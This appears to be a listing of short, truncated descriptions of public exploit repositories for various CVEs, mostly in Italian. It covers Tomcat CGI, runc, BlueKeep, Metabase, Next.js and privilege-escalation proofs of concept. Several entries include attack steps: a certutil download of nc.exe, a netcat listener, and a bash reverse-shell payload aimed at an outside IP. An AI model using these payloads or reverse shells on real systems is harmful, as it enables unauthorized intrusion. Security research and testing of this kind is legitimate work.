CVE-2019-0232

CGI RCE Exploit PoC per RCE non autenticata tramite endpoint CGI batch. Scarica nc.exe sul target usando certutil e attiva una reverse shell. Configurazione 1. Servi nc.exe nella stessa directory in cui si trova nc.exe: python3 -m http.server 80 2. Avvia il tuo listener: nc -lvnp 1234 3. Esegui...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...

CVE-2019-0232_tomcat_cgi_exploit

Script di Exploit CGI di Apache Tomcat Descrizione Uno script Python progettato per sfruttare vulnerabilità CGI su server Apache Tomcat tramite l'esecuzione di una connessione reverse shell. Esempio di Utilizzo Caratteristiche Exploit automatizzato per vulnerabilità CGI di Apache Tomcat Parametri...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Utilizzo : la macchina è vulnerabile a CVE-2019-5736, segui i passaggi nell'exploit Runc CVE-2019-5736. Scarica il file main.go, modifica il payload nel file come segue: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Successivamente, esegui:...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Approccio Alternativo: Reverse Shell e Test del Callback Panoramica Questo repository contiene approcci alternativi di payload per la vulnerabilità RCE di InvokeAI CVE-2024-12029 quando l'iniezione della chiave SSH fallisce. I payload...

CVE-2019-0708-POC

CVE-2019-0708-POC Proof of concept funzionante per CVE-2019-0708, apre una shell remota. Eseguire con python3, Esempio python3 CVE-2019-0708-windows.py Sono richieste versioni diverse per Linux e Windows. Offuscato per ovvie ragioni...

POC_react2shell_CVE-2025-55182

Exploit RCE per Next.js React Server Components Sfrutta CVE-2025-55182 per esecuzione di codice remoto tramite prototype pollution. Autore: Severian N.K. Descrizione Questo strumento sfrutta una vulnerabilità di prototype pollution nelle applicazioni Next.js che utilizzano React Server Components...

needrestart-privesc-cve-2024-48990

Escalation dei privilegi di needrestart CVE-2024-48990 Questa repository contiene un exploit minimale di escalation locale dei privilegi che mira a una vulnerabilità in needrestart CVE-2024-48990. La vulnerabilità consente l'esecuzione arbitraria di codice Perl come root abusando dell'opzione di...

htb-sau-exploit-chain

HTB Sau Exploit-Kette — CVE-2023-27163 SSRF + Maltrail-RCE-Automatisierung Ein Python-Exploit-Skript, das CVE-2023-27163 Server-Side Request Forgery in Request Baskets ≤ 1.2.1 mit einer nicht authentifizierten Remote-Code-Execution-Schwachstelle in Maltrail 0.53 verknüpft und eine Reverse Shell...

humane-aipin-ghostlock

GhostLock for Humane AI Pin GhostLock for Humane AI Pin is an open-source, boot-scoped root proof of concept for one exact retail firmware build. It exercises CVE-2026-43499, a Linux rtmutex use-after-free, from an ordinary authorized ADB shell. The runner is deliberately narrow. It checks the...

CVE-2023-422-Chamilo-LMS-RCE

Prerequisiti pip install requests Informazioni Lo script Python sfrutta la vulnerabilità CVE-2023-422 per caricare un file nel server e utilizza quel file per inviare una reverse shell al listener netcat, e tutto questo può essere fatto senza essere autenticati. Tuttavia, sarà necessario seguire ...

CVE-2023-27163-AND-Mailtrail-v0.53

Exploit Automatico Riepilogo Il seguente exploit sfrutta la vulnerabilità SSRF di Requests Baskets v1.2.1 per inoltrare l'applicazione interna in esecuzione su 127.0.0.1:80 verso l'applicazione esterna su /pwned. Una volta che l'applicazione Mailtrail v0.53 è stata inoltrata, eseguirà un comando ...

CVE-2022-41544

CVE-2022-41544 Script di Exploit Questo repository contiene uno script per sfruttare la vulnerabilità CVE-2022-41544 in GetSimple CMS. Lo script esegue diversi passaggi per verificare la presenza di vulnerabilità, divulgare le chiavi API, impostare i cookie, ottenere i token CSRF, caricare una...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Questo script sfrutta la vulnerabilità di injection EL di Nexus Repository Manager 3 CVE-2018-16621 e consente di eseguire l'exploit con un solo comando per ottenere una reverse shell. Esempio di esecuzione: Esegui lo script localmente sulla macchina dell'attaccante e, seguendo le istruzioni,...

Modified-CVE-2019-15107

CVE-2019-15107 Assicurati di modificare manualmente shellperl LHOST e LPORT alla riga 29 prima dell'esecuzione. Modificato da: https://github.com/ketlerd/CVE-2019-15107...

CVE-2026-52617

CVE-2026-52617 — @sworddut/mcp-ffmpeg-helper: OS command injection via ffmpeg tool options runFFmpegCommand passes a string built from MCP tool parameters to spawn…, shell: true , so shell metacharacters in options, format, codec, pixelFormat or extraOptions execute on the host running the server...

CVE-2018-16167

Ordine di installazione ed esecuzione 0. Installazione di LogonTracer Scarica da Docker Hub la versione 1.2.0 di LogonTracer, quella in cui è stata trovata la vulnerabilità. $docker pull jpcertcc/docker-logontracer:v1.2.0 1. Esecuzione di LogonTracer Avvia il contenitore con il seguente comando:...

CVE-2023-38831_Exploit

Proof-of-Concept dell'Exploit CVE-2023-38831 Panoramica Questo repository contiene uno script Python che dimostra un exploit proof-of-concept PoC per CVE-2023-38831. Questo exploit sfrutta una vulnerabilità in specifici meccanismi di elaborazione dei file per eseguire un payload di reverse shell...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 Metabase ओपन सोर्स 0.46.6.1 से पहले और Metabase Enterprise 1.46.6.1 से पहले हमलावरों को सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देते हैं। मैंने हमलावर की मशीन पर रिवर्स शेल प्राप्त करने के लिए स्क्रिप्ट सीधे लिखी है। उपयोग स्क्रिप्ट को Target URL,...

Penetration-Test

Penetration-Test Report completo del test di penetrazione contro IP VM Ubuntu. Catena di attacco: enumerazione delle directory → scoperta di file di backup → cracking delle password → upload di file CMS → reverse shell → escalation dei privilegi del kernel Dirty Pipe, CVE-2022-0847. Struttura del...